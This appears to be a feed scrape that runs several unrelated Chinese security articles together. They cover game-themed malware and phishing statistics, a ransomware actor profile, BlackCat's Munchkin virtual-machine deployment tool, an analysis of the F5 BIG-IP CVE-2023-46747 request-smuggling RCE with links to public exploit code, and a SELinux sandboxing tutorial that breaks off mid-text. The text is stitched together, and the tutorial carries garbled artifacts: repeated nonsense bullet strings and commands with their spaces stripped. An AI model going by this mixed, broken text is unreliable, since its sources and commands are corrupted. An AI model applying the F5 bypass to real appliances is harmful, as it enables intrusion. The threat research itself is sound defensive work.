分析方法為了深入了解當前與遊戲相關的網絡安全風險,卡巴斯基對針對遊戲社區的普遍威脅進行了全方位研究。從偽裝成遊戲應用、mod和作弊的威脅到對該領域最活躍的惡意軟件家族的功能分析。他們還分析了使用各種遊戲名稱和遊戲平台作為誘餌的網絡釣魚頁面。

本文的分析利用了來自卡巴斯基安全網絡(KSN)的數據,這是一個處理卡巴斯基用戶自願分享的匿名網絡威脅相關數據的系統。分析時間段從2022年7月1日到2023年7月1日。

研究人員除了選擇在流媒體平台(如Origin和Steam)上下載或準備發布的排名前14款遊戲,還分析了與平台無關的遊戲進行研究。

遊戲列表是基於互聯網上最受歡迎遊戲的幾個排名。他們重點分析了手機版和桌面版《我的世界》 《Roblox》 《反恐精英:全球进攻》 (CS:GO)、《绝地求生》 (PUBG),《霍格沃茨遗产》 《远古防御2》 (DOTA 2),《英雄联盟》 《魔兽世界》 《Apex传奇》 《暗黑破坏神4》 《星球大战绝地求生》 《塞尔达传说》 《博德之门3》 和《最终幻想XVI》 相關的威脅。

威脅分析在過去的一年裡(2022年7月1日至2023年7月1日),卡巴斯基總共檢測到4076530次與遊戲相關的桌面感染,影響著全球192456名玩家。

最常見的威脅是下載程序(89.70%),其次是廣告軟件(5.25%)和特洛伊木馬(2.39%)。

作為誘餌,使用最多的遊戲是《我的世界》 ,佔70.29%,其次是《Roblox》 (20.37%)、《反恐精英:全球攻势》 (4.78%)和《PlayerUnknown’s Battlegrounds》 (2.85%)。

卡巴斯基的移動解決方案檢測到436786次與遊戲相關的感染嘗試,影響了84539名用戶。

《我的世界》 用戶(90.37%)是手機惡意軟件的最大目標,其次是PlayerUnknown的《绝地求生》 (5.09%)、《Roblox》 (3.33%)和《Baldur’s Gate》 (0.68%)。

電腦版統計方面,《我的世界》 仍然是最受攻擊者歡迎的目標。從2022年7月1日到2023年7月1日,卡巴斯基解決方案檢測到4076530次下載嘗試,共涉及30684個獨特文件,這些文件以流行遊戲或mod,作弊和其他遊戲相關軟件的名義傳播,影響了全球192456名用戶。這些文件大多是被稱為“下載器”的無用軟件(89.70%)。這類軟件本身並不危險,但它會將包括惡意軟件在內的各種其他程序下載到設備上。廣告軟件(5.25%)和木馬(2.39%)也位列桌面遊戲相關威脅的前三名。

1.png

2022年7月1日至2023年7月1日,全球十大流行遊戲威脅

在選取的14款遊戲中,《我的世界》 (70.29%)仍然是最受攻擊者歡迎的遊戲。這款沙盒遊戲在2023年擁有超過1.6億的月活躍玩家,並且仍然是世界上玩得最多的電腦遊戲之一。過去一年,利用這款遊戲作為誘餌的威脅影響著全球130619名用戶。

在30367名用戶的電腦上,惡意軟件和不受歡迎的軟件在文件名中提到Roblox(第二大目標遊戲),引發了20.37%的警報,其次是反恐精英:全球攻勢(4.78%)、絕地求生(2.85%)、霍格沃茨遺產(0.60%)、DOTA 2(0.45%)和英雄聯盟(0.31%)。

2.png

2022年7月1日至2023年7月1日,按相關威脅檢測數量排名的遊戲

3.png

從2022年7月1日到2023年7月1日,受相關威脅影響的用戶數量

4.png

2022年7月1日至2023年7月1日期間,按被作為誘餌來排名的遊戲

與手機遊戲相關的威脅自疫情以來,在智能手機和平板電腦等移動設備上玩視頻遊戲的移動遊戲用戶數量激增,尤其是在美國和亞太地區。根據Statista的數據,到2027年,手機遊戲玩家的數量將達到23億。

雖然有些遊戲的手機版本在發布後不久甚至在開發階段就被關閉了,但不時會出現號稱是手機改編的版本遊戲,攻擊者正是利用遊戲玩家迫切想要玩的心理進行誘餌攻擊。

從2022年7月1日到2023年7月1日,卡巴斯基解決方案檢測到436786次試圖感染84539名用戶的移動設備。大多數被調查的遊戲至少有一次被用作手機玩家的誘餌。

5.png

從2022年7月1日到2023年7月1日,具有威脅的遊戲排名

《我的世界》 用戶再次成為主要攻擊目標,90.37%的攻擊與這款遊戲有關,這些攻擊影響了80128名玩家。

比如,印度尼西亞的手機遊戲玩家成為攻擊者的目標,他們使用《我的世界》 作為Trojan.AndroidOS.Pootel.a的網關,當應用程序在用戶手機上啟動時,會在另一個應用市集(Application Marketplace)中打開《我的世界》 頁面。

然後,通過使用惡意代碼,它開始悄悄地註冊手機用戶。為了獲取電話號碼(這是完成訂閱所必需的),應用程序使用谷歌電話號碼提示API。然後,它在一個不可見的窗口中打開訂閱激活頁面,並將收到的用戶號碼插入到相應的字段中。之後,它點擊Subscribe按鈕,從傳入的文本消息中截取確認代碼,並將其粘貼到確認頁面上的必填字段中。

研究還顯示,伊朗的《我的世界》 手機玩家被攻擊次數最多,在這個國家,140482個警報被觸發,影響了54467個《我的世界》 玩家。

《绝地求生:大逃杀》 是卡巴斯基發現的第二大最受攻擊者歡迎的手機遊戲,佔所有警報的5.09%,其中大部分來自俄羅斯聯邦的玩家。

Roblox(3.33%)在檢測數量上排名第三,但在受影響用戶數量上排名第二。其中一個針對Roblox粉絲的惡意軟件家族是SpyNote間諜木馬,它以mod的名義在用戶中傳播。它具有許多間諜功能,例如記錄鍵盤敲擊,記錄屏幕和播放手機攝像頭的視頻,它還可以模仿谷歌和Facebook的官方應用程序,誘騙用戶洩露密碼。

排名第四的手機遊戲是《博德之门》 (Baldur’s Gate),這是一款目前還沒有正式手機版本的遊戲。大多數受影響的玩家位於俄羅斯聯邦、巴西和土耳其。

6.png

從2022年7月1日到2023年7月1日,威脅用戶遊戲的排名

網絡釣魚活動接下來,我們將深入分析14款遊戲以及其他遊戲作為誘餌的網絡釣魚活動。

虛假遊戲推廣頁面偽裝成流行遊戲的惡意和不受歡迎的軟件通常由提供盜版遊戲的第三方網站傳播。在下面的截圖中,你可以看到這類網站的例子,它們提供“免費”下載Atomic Heart, CS:GO和Euro Truck Simulator。

7.jpeg

其中一些頁面在下載按鈕下方顯示了相對較高的下載數量,很可能向用戶證明該軟件是安全的。點擊這個按鈕會下載一個存檔文件,其中可能包含不需要的甚至是危險的軟件,但不一定是遊戲本身。

8.jpeg

尋找遊戲賬號由於大多數遊戲允許用戶購買和出售有價值的遊戲道具,遊戲賬戶自然而然成為攻擊者緊盯的一個有利可圖的目標,尤其是那些包含大量熱門遊戲以及關聯信用卡的賬戶。

遊戲中最受歡迎的誘惑之一便是免費贈送遊戲內道具或皮膚。下圖報價很可能會導致用戶的Steam或Riot Games賬戶被盜。騙術很簡單,要獲得贈品,用戶必須登錄你的賬戶,這意味著在網絡釣魚網站上輸入用戶憑據。

9.jpeg

《反恐精英》 的粉絲經常會被“免費”皮膚所吸引,這在遊戲中可能是很有價值的財產。去年,一名用戶的賬戶被黑客攻擊,損失了價值200萬美元的皮膚。不幸的是,那些上當受騙的人將失去他們已經擁有的東西,而不是免費獲得一個有價值的皮膚。

10.jpeg

另一個網站提供名為“反恐精英2有限測試”的東西,但只針對那些願意鏈接他們的Steam賬戶的人。但是,如果用戶鏈接了它,它將被洩露,並且無法訪問遊戲的測試版。

11.png

除了遊戲賬戶,攻擊者還瞄準了玩家的社交媒體資料。這些信息對欺詐者來說很有價值,因為它們通常包含大量個人數據和相關的付款細節。此外,社交媒體賬戶經常被用來登錄包括在線遊戲在內的其他服務。最後,通過一個被盜的社交媒體賬戶,攻擊者可以針對受害者的朋友和親屬進行各種詐騙。

12.png

在上面的截圖中,釣魚者用遊戲內的贈品引誘PUBG玩家。如果要參與,你需要登錄你的Facebook、X(以前的twitter)或虛假網站上的其他社交媒體賬戶。一旦你這麼做了,你的登錄憑據就會被盜。

類似的誘餌也被用於詐騙,用戶需要向攻擊者支付一定金額,才能獲得禮品卡、遊戲內貨幣或全新遊戲。通常,在這樣的網站上,你需要首先輸入一些個人信息並填寫一個簡單的調查。然後顯示一個頁面,告訴你你贏得了一個有價值的獎品。在你認領它之前,唯一要做的就是支付一小筆運費。然而,這一通操作下來,受害者不僅損失了支付的錢,而且還洩露了他們的銀行卡。

在下面的截圖中,你可以看到這種騙局的典型例子。攻擊者向用戶提供“免費的Apex傳奇禮品卡”。要獲得這些獎品,你必須首先輸入你的用戶名,然後回答幾個問題,然後支付來獲得獎品。

13.jpeg

對於Roblox玩家,詐騙者通常會提供免費賺取、生成或獲得一些Robux(Roblox中的遊戲貨幣)。與Apex Legends的例子類似,如果用戶試圖提取“賺到的”或生成的錢,他們就必須在一個欺詐網站上付款。

14.jpeg

詐騙者經常採取的另一個選擇是為熱門遊戲提供高額折扣。在下面的截圖中,一個流氓網站假裝以28.7美元的價格出售《星球大战绝地武士:幸存者》 ,這還不到官方價格的一半。

15.png

如果用戶付費,他們很可能什麼也得不到,而且還會損失他們的錢並洩露銀行卡信息。

總結遊戲平台一直是攻擊者的目標,因為它們存儲了大量的個人和財務數據,從付款細節到電子郵件地址以及其他個人身份信息。欺詐者通過竊取遊戲中的物品和貨幣來賺錢,這些物品和貨幣通常在現實世界也有價值。

攻擊者越來越多地利用熱門遊戲,比如《我的世界》 (Minecraft)和Roblox,瞄準年輕用戶,引誘缺乏網絡安全意識、缺乏經驗的電腦用戶使用惡意或不需要的軟件。

綜上所述,年輕玩家的父母必須對孩子進行安全教育,這樣他們才能幫助保護自己的孩子。網上有大量資源可以幫助新玩家遠離網絡攻擊。

卡巴斯基建議用戶:

1.時刻關注孩子的網絡活動,經常與他們一起看他們最喜歡的電視劇或聽音樂。

2.如果你的孩子喜歡某款遊戲,有必要和孩子討論安全問題,向他們解釋網絡安全的意義,向孩子們解釋什麼是敏感信息,為什麼這些信息只能和他們在現實生活中認識的人分享。

3.只從Steam、Apple App Store、Google Play或Amazon Appstore等官方商店下載遊戲。這些市場上的遊戲並非100%安全,但它們至少會經過技術人員的檢查,並且存在某種篩選系統,並非所有應用都能上架。

4.如果你想購買的遊戲不能從應用商店購買,只能從官方網站下載,仔細檢查網站的網址,確保它是真實的。為了進一步保護您的購買,請使用網上銀行保護,例如卡巴斯基產品中的安全貨幣功能。

謹防網絡釣魚活動和不熟悉的玩家,不要打開通過電子郵件或遊戲聊天收到的鏈接,除非你信任發件人。不要打開陌生人給你的文件。

不要下載盜版軟件或任何其他非法內容,即使你從一個合法的網站重定向到它。只在官方網站上購買遊戲更安全。

使用強大、可靠的安全解決方案,將不會減慢你的電腦,同時保護您免受惡意軟件,網絡釣魚和其他威脅。例如,卡巴斯基高級版可以與Steam和其他遊戲服務順利合作,並可以保護計算機和移動設備。

Nokoyawa勒索軟件即服務(RaaS)的運營商是一夥被稱為“farnetwork”的威脅組織,多年來通過幫助JSWORM、Nefilim、Karma和Nemty等勒索軟件團伙開發惡意軟件和管理運營積累了經驗。

網絡安全公司Group-IB近日的一份報告深入剖析了farnetwork的活動,以及闡述他們是如何逐漸成為勒索軟件行當中異常活躍的玩家。

farnetwork向威脅情報分析師們披露了細節,這些細節可以將他們與2019年開始的多起勒索軟件活動和一個可以訪問多個企業網絡的殭屍網絡聯繫起來。

據Group-IB向IT安全外媒體出示的報告顯示,這夥威脅組織擁有多個用戶名(比如farnetworkl、jingo、jsworm、razvrat、piparkuka和farnetworkitand),並活躍於多個俄語黑客論壇,試圖招募加盟團伙從事各種勒索軟件活動。

1.png

圖1. 威脅分子情況簡介(圖片來源:Group-IB)

今年3月,farnetwork開始為其基於Nokoyawa加密惡意軟件的勒索軟件即服務項目尋找加盟團伙。然而,Group-IB的威脅情報分析師表示,這夥威脅組織明確表示,他們沒有參與開發Nokoyawa的工作。

開展RaaS業務並沒有持續多久,farnetwork宣布將退出該領域,並在10月份關閉了Nokoyawa RaaS項目,此前該項目洩露了35名受害者的數據。

2.png

圖2. Nokoyawa公佈受害者(圖片來源:Group-B)

然而Group-IB認為,這夥威脅組織的策略是改變方向,以一個新的品牌重新開始,而這個舉動正是其中的一部分。

攻擊活動管理方在Nokoyawa勒索軟件中,farnetwork扮演了項目負責人、加盟團伙招聘者、暗網論壇上RaaS的推廣者和殭屍網絡管理方等多重角色。

該殭屍網絡使加盟團伙能夠直接訪問已經受到攻擊的網絡。為此,加盟團伙將向殭屍網絡的所有者支付所收取贖金的20%,而勒索軟件的所有者將獲得15%的分成。

考慮到其他項目支付高達85%的贖金作為分成,對勒索軟件加盟團伙來說,65%的分成是糟糕的交易,但成本已涵蓋了找到一個合適的目標並闖入其中所耗費的精力。

farnetwork測試加盟團伙候選對象的辦法是,向它們提供從地下日誌雲(UCL)服務獲得的幾個公司賬戶憑據,UCL服務出售由RedLine、Vidar和Raccoon等信息竊取惡意軟件竊取的日誌。

預計這些加盟團伙會升級其在網絡上的權限,竊取文件,運行加密程序,並要求支付贖金。

3.png

圖3. 網絡訪問憑據面板(圖片來源:Group-IB)

以往活動時間表Group-IB已經能夠追踪到farnetwork早在2019年1月的活動,發現了它與JSWORM、Nemty、Nefilim和Karma等勒索軟件團伙有關聯。

2019年4月,farnetwork在Exploit黑客論壇上大肆推廣JSWORM RaaS項目,這夥威脅組織對RazvRAT惡意軟件大打廣告。

4.png

圖4. 推銷RazvRAT惡意軟件(圖片來源:Group-IB)

2019年8月,在JSWORM關閉後,這夥威脅組織轉而在至少兩個地下論壇上推廣Nemty。

2020年3月,Nefilim勒索軟件浮出水面,這時它作為一個新的加盟項目示人,擁有名為Corporate Leaks的數據洩露網站。次月,farnetwork宣布Nemty將私有化。

5.png

圖5. Nefilim公佈受害者名單(圖片來源:Group-B)

2021年6月,改頭換面的Nefilim(名叫Karma)出現在世人面前,2021年7月Nefilim又悄無聲息。在此期間,farnetwork在尋找有關思傑VPN零日漏洞的信息。

2023年2月,farnetwork轉向RAMP論壇,聲稱他們與Nokoyawa勒索軟件合作,充當對方的招聘者和訪問管理方。

6.png

圖6. 在RAMP上推廣RaaS(圖片來源:Group-IB)

從Group-IB的研究結果來看,farnetwork被懷疑參與了開發上述幾種勒索軟件的工作,或至少參與了這幾種勒索軟件的改進和管理。它與Nefilim和Karma的關係最緊密,它們都被認為是Nemty的進化版。

7.png

圖7. farnetwork活動時間表(Group-IB)

Group-IB將不同的用戶名與這同一夥威脅組織聯繫了起來,他們換個新名字,繼續重操舊業。

建議雖然勒索軟件團伙以攻擊關鍵行業的公司而臭名昭著,但它們對所有行業的組織都構成了威脅。除了其網絡增加新成員外,farnetwork的勒索軟件聯盟計劃還為成員提供了經過升級的工具和技術,甚至提供勒索軟件投放機制。企業必須立即採取具體的步驟,以確保關鍵任務操作和數據的安全。我們的建議如下:

•增加更多層安全:多因素身份驗證(MFA)和基於憑據的訪問解決方案可以幫助企業保護其關鍵資產和高風險用戶,使攻擊者更難得逞。

•通過早期檢測阻止勒索軟件:充分利用端點檢測和響應(EDR)解決方案的行為檢測功能,幫助識別跨管理端點上的勒索軟件指標,及時提醒團隊注意任何可疑活動,以便進一步審查。這種主動的方法有助於對端點上已知和未知的威脅進行靈活地檢測、調查和補救。

•有“備份”策略:數據備份過程應該定期進行,因為它們可以減少破壞,並幫助組織在遭到勒索軟件攻擊後避免數據丟失。

•利用先進的惡意軟件引爆解決方案:組織應該充分利用結合人工智能的先進的基於分析的解決方案來實時檢測入侵。

•修補漏洞:漏洞未修補的時間越長,被網絡犯罪分子利用的風險就越大,因此,應該優先考慮安全補丁。組織還應該建立一個流程,定期審查和部署最新的補丁。

•培訓員工:教育員工,了解與組織的網絡、資產、設備和基礎設施相關的風險。人為因素仍然是網絡安全的最大漏洞之一。組織應開展培訓計劃和安全演習,以幫助員工識別和報告網絡犯罪的跡象(比如網絡釣魚電子郵件)。

•控制漏洞:不要對新出現的漏洞視而不見。每年進行一次技術審計或安全評估,以檢查你的基礎設施,這不僅是好習慣,還增加了亟需的保護層,持續監測基礎設施的完整性和數字衛生流程。

•永遠不要支付贖金:在97%的勒索軟件攻擊中,如果不解密軟件,就不可能重新獲得數據訪問權。 Group-IB的事件響應專家不建議急於支付贖金。

以牟利為動機的威脅組織會讓你支付更多錢。即使一個攻擊者返還了你的數據,另一個攻擊者也會明白你願意支付贖金,這將導致對公司的攻擊次數增加,此時你能做的最正確的事情就是盡快聯繫事件響應專家。

Ransomware-r3d2.png

BlackCat運營商最近宣布對他們的工具進行更新,包括一個名為Munchkin的實用程序,它允許攻擊者將BlackCat有效負載傳播到遠程設備和受害者組織網絡上的共享。在過去的兩年中,作為勒索軟件即服務(RaaS)商業模式的一部分,BlackCat勒索軟件運營商一直在不斷發展和更新他們的工具。

在最新發現的樣本中,Unit 42的研究人員獲得了一個獨特的Munchkin樣本,因為它加載在自定義的Alpine虛擬機(VM)中。這種利用自定義虛擬機來部署惡意軟件的新策略在最近幾個月得到了越來越多的應用,允許勒索軟件攻擊者使用虛擬機來繞過部署惡意軟件有效負載的安全解決方案。

本文詳細介紹了這個新實用程序的攻擊進程,並進一步闡明了BlackCat攻擊者使用的持續策略。

BlackCat概述BlackCat勒索軟件於2021年11月首次被曝光。這種攻擊因其惡意軟件的複雜性以及使用Rust編程語言等獨特方法而臭名昭著。

與其他勒索軟件類似,BlackCat採用了RaaS商業模式,這種模式允許其他機構有償利用他們的工具,使用機構會獲得大約80-90%的贖金,其餘的則交給運營商。

“BlackCat”組織及其使用機構歷來把目標鎖定在美國境內。然而,隨著時間的推移以及受歡迎程度,攻擊範圍正在逐漸擴大,最近,人們發現BlackCat的目標是全球眾多行業及其垂直行業的受害者。

BlackCat工具集多年來一直在不斷發展。

原始版本僅提供了一個嵌入式JSON配置,並沒有應用混淆或加密。

隨著時間的推移,操作人員更新了惡意軟件家族,以混淆這種底層配置。他們還需要一個唯一的命令行參數來執行惡意軟件。在此過程中,BlackCat阻止了安全人員在此命令行參數不可用的情況下獲得底層有效進行研究。

惡意軟件家族一直在不斷發展,攻擊者採用了更多的功能和混淆機制。最近幾個月,BlackCat發布了一個名為“Munchkin”的新工具。

該工具提供了運行Sphynx(最新的BlackCat變體)的基於linux的操作系統。攻擊者可以使用此實用程序在遠程設備上運行BlackCat,或將其部署到加密遠程服務器消息塊(SMB)或通用互聯網文件共享(CIFS)。

1.png

Munchkin進程示意圖

在實際運行中,使用虛擬機運行惡意軟件是一種日益增長的趨勢。據報導,其他勒索軟件組織也利用了這種新策略。

這種方法的好處包括繞過主機操作系統上設置的任何安全控製或保護,例如防病毒軟件。由於這些解決方案通常在嵌入式虛擬化操作系統中沒有自省功能,惡意軟件將經常繞過現有的任何檢查。

在最近的調查中,Unit 42的研究人員能夠獲得這個VM實用程序的副本。因此,我們可以深入了解它是如何工作的。

攻擊過程Munchkin實用程序以ISO文件的形式提供,在VirtualBox虛擬化產品的新安裝樣本中加載。這個ISO文件代表了Alpine操作系統的自定義實現,攻擊者可能會選擇它,因為它佔用空間小。操作系統啟動後,會執行如下命令:

2.png

在此過程中,惡意軟件最初將虛擬機的根密碼更改為攻擊者選擇的密碼。它隨後通過內置的tmux實用程序生成一個新的終端會話,該實用程序用於執行名為controller的惡意軟件二進製文件。惡意軟件完成執行後,會關閉虛擬機。

控制器惡意軟件與其他相關文件一起託管在/app目錄中。此外,虛擬機操作系統中還包含其他相關且值得注意的文件。

3.1.png

3.2.png

虛擬機操作系統中包含的文件路徑及有關描述

除了上面提到的文件,大量的Python腳本直接存在於/usr/bin中,BlackCat操作符可以在VM的後續更新中使用這些腳本。

4.1.png

4.2.png

4.3.png

4.4.png

4.5.png

4.6.png

攻擊者可以使用上面的許多Python腳本進行橫向移動、密碼轉儲和在受害者網絡上進一步執行惡意軟件。

控制器惡意軟件是用Rust編程語言編寫的,其方式與BlackCat惡意軟件家族非常相似。在執行時,控制器最初將使用唯一的單字節異或操作解密大量字符串。

5.png

運行時的字符串解密

在字符串被解密後,攻擊者將執行基本檢查,以確保預期的配置和有效負載文件駐留在/app目錄中。然後,該攻擊將反序列化並解析/app/config文件,如果這些文件不存在,或者如果它們無法被解析,惡意軟件將自行退出並顯示一條錯誤消息。

/app/config文件包含大量信息,包括控制器惡意軟件樣本隨後使用的以下信息:

訪問令牌;

任務標識符;

受害者憑據(包括用戶名、密碼和域);

BlackCat受害者URL;

阻止列表的文件類型和路徑;

要加密的目標主機和共享;

解析配置後,控制器創建並掛載/payloads/目錄,用於託管隨後創建的BlackCat樣本。控制器使用前面提到的/app/payload作為模板來創建自定義的BlackCat樣本。在模板文件中,控制器在修改該文件時查找並使用特定的標記。

6.png

基於模板和配置創建新的BlackCat示例

所創建的文件基於所提供的配置。但是,它們的命名如下,並帶有增量值:

/payloads/0

/payloads/1創建這些有效負載後,惡意軟件繼續遍歷所提供的配置,目的是感染指定的任何SMB/CIFS驅動器。這些嘗試在寫入STDOUT的各種輸出中進行了概述,其示例如下所示。

注:實際的IP地址和共享名稱已在下面的輸出中進行了編輯。

7.png

惡意軟件完全執行後,虛擬機將關閉電源,不再執行進一步的操作。

研究人員發現以下消息嵌入到惡意軟件樣本中,但未使用,它可能在開發的某個階段被包括在內,但後來又被取消。

8.png

這條消息似乎是BlackCat的開發者給他們的使用組織的一條消息,敦促他們從不安全的環境中刪除這個文件。看來使用組織並沒有聽從這一建議。

總結惡意軟件的開發者,特別是那些背後的BlackCat勒索軟件使用者,繼續更新和發展他們的技術和戰術,這一點在他們最近發布的“Munchkin”中得到了充分體現。

惡意工具利用虛擬機來阻止主機上存在的安全管理功能,並反檢測方面領先於安全防護。

0x01 前言F5 BIG-IP廣域流量管理器是一種網絡流量管理設備,用於提升鏈路性能與可用性。 F5在金融行業具有特別廣泛的使用量,做過各大銀行攻防演練的小伙伴對這個系統應該不會陌生。

最近爆出的CVE-2023-46747漏洞能達到遠程RCE的效果,屬於嚴重級別的安全漏洞。有意思的是這個漏洞和“AJP請求走私”有關。本文將對請求走私漏洞和CVE-2023-46747做一個詳細介紹和分析。

0x02 AJP請求走私介紹較早出現的AJP請求走私漏洞是CVE-2022-26377,關於該漏洞的詳細信息已經有作者進行過分析,感興趣的讀者可以查看原文https://www.ctfiot.com/44809.html,這裡我們關注的是AJP請求走私漏洞的危害。

AJP請求走私漏洞影響Apache Httpd 2.4.54,注意這裡直接受影響的並不是tomcat,所以並不是所有的java網站都受請求走私漏洞的影響,而是只有啟用了httpd服務的網站才受此漏洞影響,類似於現在前後端分離中nginx服務的作用。在F5 BIG-IP中啟動的WEB服務的架構如圖2.1所示,並且在F5-BIG-IP中的httpd版本2.2.15,受CVE-2022-26377漏洞影響。

8.png

圖2.1 F5 BIG-IP中的WEB服務架構

9.png

圖2.2 F5 BIG-IP中的httpd版本

AJP請求走私漏洞並不是一個高危漏洞,在各個CVSS評分在6.5-7.5之間,所以一直沒有受到我的關注,只是覺得這是一個僅供研究沒有實際意義的理論漏洞。在這次F5 BIG-IP的RCE漏洞爆出之後,我才重新對這個漏洞進行研究。關於此漏洞的詳細理論可以參考上面的文章,這裡主要總結下面的幾個關鍵點:

1) 瀏覽器並不能直接發送AJP協議的數據包,需要依賴於Apache的proxy_ajp 模塊進行反向代理,暴露成HTTP 協議給客戶端訪問。

2) AJP協議對於POST類型的HTTP請求會分成header 和body 兩個數據包發送,由於處理body數據時,其中前面四位固定格式與Forward Request 數據包完全一樣,導致本來應該是一個數據包body部分的數據,可能在進行AJP轉發時被識別為另一個數據包。這也是AJP請求走私的本質原理和危害,如圖2.3所示。

3) AJP請求走私時需要使用Transfer-Encoding: a, chunked 進行分塊傳輸。

10.png

圖2.3 AJP請求走私流程

從圖2.3可以看出,整個AJP請求走私的流程是可以把一個HTTP請求經過AJP代理轉化之後轉化為兩個AJP請求,這也是請求走私名字的來源。

0x03 CVE-2023-46747漏洞分析經過0x02的分析已經對AJP請求走私有了初步的了解,但是實際上還是很難看出這樣的漏洞能導致RCE效果。

從官方對這個漏洞的描述中可以看出,此漏洞僅影響開放了TNUI接口的系統(F5 BIG-IP默認啟用),這是因為在/config/httpd/conf.d/proxy_ajp.conf文件中定義了AJP代理的配置,其中只會對tmui相關接口進行代理,如圖3.1所示。

11.png

圖3.1 TMUI接口中的AJP代理配置

如圖2.1所示,httpd服務監聽的IP是0.0.0.0,所以是可以被外網用戶直接訪問到的,httpd提供反向代理的功能,把請求轉發到tomcat java監聽的80端口。最初看到這個漏洞的時候,我一直在java代碼中尋找鑑權的邏輯,以圖找到通過AJP請求走私繞過鑑權的方式,但是找了很久都沒有找到,甚至我在F5的JAVA代碼中沒有找到任何的Filter。後來在翻閱F5的歷史漏洞分析文章中才看到原來F5的鑑權並不在JAVA代碼中,而是在httpd模塊中。

F5實現了自己的pam進行認證,模塊路徑為/usr/lib/httpd/modules/,其中,涉及到login.jsp授權的是mod_f5_auth_cookie.so文件。反彙編之後,大概是這樣的。我們能夠請求/tmui/login.jsp而不需要進行身份驗證。

12.png

圖3.2 訪問/tmui/login.jsp不需要授權

如果直接訪問其他jsp文件,在沒有通過身份驗證的情況下,會被重定向到/tmui/login.jsp

13.png

圖3.3訪問其它頁面需要授權

這也就說明在CVE-2023-46747漏洞的POC利用腳本中通過訪問/tmui/login.jsp(這個頁面是不需要授權,又可以進行AJP請求轉化的頁面),在body中添加AJP請求走私的內容,就可以達到繞過鑑權的效果。

poc地址:

https://www.ddpoc.com/poc/DVB-2023-5391.html

在使用的時候注意,部分BurpSuite會去掉Transfer-Encoding頭,自動從分塊傳輸轉化為普通傳輸導致檢測失敗,所以在使用的過程中盡量不要使用Burp代理,如果非要抓包可以使用Charles,如圖3.4所示。

14.png

圖3.4 使用Burp代碼導致檢測失敗

去掉Burp代理之後,在Charles中可以看到正常的Chunked請求體和請求頭,並且運行成功之後可以執行命令,如圖3.5所示。

15.png

圖3.5 通過POC可以正常繞過權限添加用戶並執行命令

關於繞過權限之後F5 BIG-IP執行命令的邏輯在F5歷史漏洞CVE-2022-1388中已經使用過,其實F5 BIG-IP本身就提供了接口/mgmt/tm/util/bash為後台用戶執行系統命令的,有興趣的讀者也可以看https://mp.weixin.qq.com/s/wUoBy7ZiqJL2CUOMC-8Wdg了解詳細的創建用戶和後台命令執行的邏輯。

0x4 結論CVE-2023-46747算是請求走私漏洞的典型應用場景,把一個中低危的漏洞放在特定的場景中放大危害造成RCE效果,整個利用過程就像是為AJP請求走私量身定制一樣。

首先,F5 BIG-IP使用httpd來轉發前端用戶請求,並且對特定接口/tmui/*開啟AJP請求轉發功能。

其次,F5 BIG-IP的用戶鑑權邏輯在httpd的so文件中實現,而不是在java代碼中是實現。甚至在後端的java代碼中沒有任何鑑權邏輯,導致只要請求轉發到後端java代碼則可以訪問到。通過AJP請求走私可以把一個隱私的添加用戶的請求隱藏在未授權接口/tmui/login.jsp請求中,導致繞過了F5鑑權的邏輯把添加用戶的請求轉發到後端java代碼。

最後,添加的用戶在後台可以直接命令執行導致RCE效果。

參考:https://mp.weixin.qq.com/s/wUoBy7ZiqJL2CUOMC-8Wdg

https://github.com/W01fh4cker/CVE-2023-46747-RCE

https://www.ctfiot.com/44809.html

https://blog.csdn.net/weixin_39541693/article/details/111112257

監控和限制對潛在惡意文件的訪問可以使您的產品免遭黑客攻擊、數據洩露和破壞。為了在基於Linux的環境中做到這一點,開發人員通常必須進行內核級修改,這實現起來很複雜,並且對系統來說存在風險。

在本文中,我們探討了內核級修改的替代方案:安全增強型Linux (SELinux) 中的自定義策略和沙箱。我們研究如何使用它們進行事件記錄和監視、限製文件訪問以及控制自定義沙箱內的系統調用。

為什麼要限制Linux 環境中的文件訪問?在創建軟件解決方案時(無論是簡單的驅動程序還是複雜的網絡安全系統),保護您的產品免遭未經授權的訪問非常重要。對於開發基於Linux 的產品的團隊來說,監視和管理數據和文件訪問的常見原因包括:

image.png

有幾種傳統方法可以做到這一點:創建Linux 內核模塊來掛鉤文件操作、設置掛鉤來監視和控制進程等。傳統的限制訪問方法通常需要高級技術專業知識,並且會給開發過程帶來額外的複雜性。它們還可能向您的環境添加嚴重錯誤,因為它們通常需要內核級更改。這就是為什麼只有當您需要對文件的訪問權限進行細緻的控制時,此類方法才有用。

當您只需要監視、允許或拒絕訪問而不需要任何其他更改時,最好使用SELinux。該系統集成到Linux 內核中,為開發人員提供強制訪問控制的方法。 SELinux 為Linux 環境中的元素設置上下文並通過策略對其進行管理。 SELinux 提供了一個強大的沙箱,允許您在有限的環境中執行進程。此環境利用SELinux 策略來定義沙箱中運行的進程的約束和權限。使用此類策略可以讓開發人員有效地增強其應用程序的安全狀況。

使用SELinux 管理文件訪問有幾個優點:

马云惹不起马云 簡單的政策管理。 SELinux 的策略文件是人類可讀的,因此無需學習特定語法來編寫策略。

马云惹不起马云精細的訪問控制。您可以在策略中指定任何訪問限制和權限。

马云惹不起马云可靠的文件隔離。為了控制對文件的訪問,SELinux 將其放入沙箱中,將文件與環境的其餘部分隔離。

马云惹不起马云簡化訪問管理。更改策略中的訪問權限比實施和進行內核級修改要容易得多。

在詳細探索如何使用SELinux 之前,請確保有一個適合創建SELinux 策略的環境。請注意,在本示例中,我們使用Fedora Workstation 和Red Hat Enterprise Linux 發行版。默認情況下,這些系統上啟用了SELinux,但最好在繼續我們的指南之前仔細檢查您的系統是否啟用了SELinux。

設置SELinux環境在將SELinux 策略應用於生產系統之前,請確保在測試或開發環境中執行此處描述的步驟。錯誤配置的策略可能會影響系統功能和安全性。

如果您的Linux 發行版不包含SELinux,您可以通過打開終端並以root 用戶身份執行以下命令來啟用它:

$sudodnfinstallselinux-policy-targeted安裝完成後,重新啟動系統。重新啟動後,SELinux 將啟用並在強制模式下運行。要確認其安裝成功,請打開終端並執行以下命令:

$sestatus

SELinuxstatus:enabled

SELinuxfsmount:/sys/fs/selinux

SELinuxrootdirectory:/etc/selinux

Loadedpolicyname:targeted

Currentmode:enforcingThislinedescribescurrentmode

Modefromconfigfile:enforcing

PolicyMLSstatus:enabled

Policydeny_unknownstatus:allowed

Memoryprotectionchecking:actual(secure)使用SELinux 對進程進行沙箱處理默認情況下,沙箱工具利用多類別安全(MCS) 模型來實施細粒度的訪問控制和進程隔離。該模型根據每個進程和文件的安全級別和類別為其分配唯一的安全標籤。

讓我們在沙箱中運行/bin/bash 進程,以限制它訪問敏感文件或執行某些命令。

